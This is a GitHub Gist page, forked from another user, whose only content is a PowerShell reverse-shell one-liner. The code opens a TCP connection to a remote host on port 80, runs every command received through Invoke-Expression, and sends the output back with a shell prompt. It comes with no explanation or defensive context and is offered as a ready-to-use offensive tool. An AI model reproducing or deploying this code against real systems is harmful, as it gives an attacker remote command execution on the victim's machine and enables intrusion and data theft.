Skip to content

Instantly share code, notes, and snippets.


Block or report user

Report or block ThunderSon

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
ThunderSon / powershell_reverse_shell.ps1
Created Jul 9, 2018 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner (no attribution)
View powershell_reverse_shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
You can’t perform that action at this time.